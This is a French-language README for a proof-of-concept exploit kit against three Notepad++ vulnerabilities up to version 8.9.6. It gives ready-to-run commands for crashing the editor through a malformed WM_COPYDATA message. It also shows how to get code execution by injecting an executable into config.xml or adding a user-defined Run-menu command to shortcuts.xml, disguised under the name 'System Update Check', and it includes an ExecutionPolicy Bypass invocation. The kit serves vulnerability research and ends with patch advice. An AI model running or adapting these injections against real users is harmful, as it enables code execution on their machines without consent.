PoCs pour Notepad++

CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800

Scripts de preuve de concept pour trois vulnérabilités dans Notepad++ <= 8.9.6, corrigées dans la v8.9.6.1 (2026-05-26).

Vulnérabilités

Prérequis

• Windows 10/11 (machine virtuelle recommandée)
• Notepad++ <= 8.9.6 installé et non mis à jour
• Python 3.x (pour les scripts .py)
• PowerShell (intégré, pour les scripts .ps1)

Structure des fichiers

.
├── README.md
├── poc_CVE-2026-48770.py                    # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py                    # RCE via config.xml
├── poc_CVE-2026-48800.py                    # RCE via shortcuts.xml
└── payloads/
    ├── config.xml                           # Drop-in payload (CVE-2026-48778)
    ├── shortcuts.xml                        # Drop-in payload (CVE-2026-48800)
    └── poc_CVE-2026-48770.ps1               # OOB read crash (PowerShell)

CVE-2026-48770 - Lecture hors limites via WM_COPYDATA

Un processus local dans la même session Windows envoie un message WM_COPYDATA falsifié (dwData=3) sans terminateur NUL. Le gestionnaire lit au-delà de la limite du tampon, produisant une violation d'accès (0xc0000005) qui fait planter Notepad++.

Déclencheur : Notepad++ doit être ouvert.

PowerShell :

# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1

Python :

python poc_CVE-2026-48770.py

Sortie attendue :

[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)

La fenêtre de Notepad++ disparaît. WER (Rapport d'erreurs Windows) peut se déclencher.

CVE-2026-48778 - RCE via config.xml

%APPDATA%\Notepad++\config.xml est lu au démarrage. La valeur <GUIConfig name="commandLineInterpreter"> est passée directement à ShellExecute() sans validation. La remplacer par n'importe quel exécutable permet d'obtenir une exécution de code à distance lorsque l'utilisateur clique sur Fichier → Ouvrir le dossier contenant → cmd.

Méthode A - Script Python (recommandé)

# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe

# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe

# Restore
python poc_CVE-2026-48778.py --mode direct --restore

Méthode B - Déposer le fichier XML

copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd

Méthode C - settingsDir (sans écriture dans AppData)

python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd

CVE-2026-48800 - RCE via shortcuts.xml

%APPDATA%\Notepad++\shortcuts.xml est lu au démarrage. Les entrées <Command> sous <UserDefinedCommands> sont ajoutées au menu Exécuter et passées directement à ShellExecute() sans validation. Une entrée contrôlée par l'attaquant s'exécute lors du clic.

Méthode A - Script Python (recommandé)

# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"

# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches

# Restore
python poc_CVE-2026-48800.py --mode direct --restore

Méthode B - Déposer le fichier XML

copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"

Méthode C - settingsDir (sans écriture dans AppData)

python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"

Atténuation

Mettez à jour Notepad++ vers la v8.9.6.1 ou ultérieure.
Téléchargement : https://notepad-plus-plus.org/downloads/

Références des avis

À des fins de recherche et de tests autorisés uniquement.